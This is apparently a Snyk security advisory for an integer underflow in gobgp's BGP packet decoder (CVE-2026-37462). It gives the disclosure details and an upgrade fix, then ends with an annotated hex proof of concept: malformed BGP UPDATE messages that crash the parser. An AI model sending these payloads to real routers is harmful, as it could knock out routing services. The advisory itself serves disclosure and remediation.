Integer Underflow (Wrap or Wraparound) Affecting github.com/osrg/gobgp/pkg/packet/bgp package, versions <4.4.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMOSRGGOBGPPKGPACKETBGP-17151882
- published4 Jun 2026
- disclosed3 Jun 2026
- creditYanlei Wang
Introduced: 3 Jun 2026
CVE-2026-37462 Â (opens in a new tab)How to fix?
Upgrade github.com/osrg/gobgp/pkg/packet/bgp to version 4.4.0 or higher.
Overview
Affected versions of this package are vulnerable to Integer Underflow (Wrap or Wraparound) in the DecodeFromBytes() function. An attacker can trigger a nil pointer dereference and panic by supplying a malicious BGP UPDATE message with a declared section length shorter than the actual data length.
PoC
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17 # Length: 23
02 # Type: UPDATE
00 00 # Withdrawn Routes Length: 0
00 04 # Total Path Attribute Length: 4
40 EE 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xEE (Unknown), Len: 0
FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
00 17 # Length: 23
02 # Type: UPDATE
00 00 # Withdrawn Routes Length: 0
00 04 # Total Path Attribute Length: 4
40 01 01 00 # IGP Attribute
40 FF 00 # Flag: 0x40 (Well-known, Transitive), Type: 0xFF (Unknown), Len: 0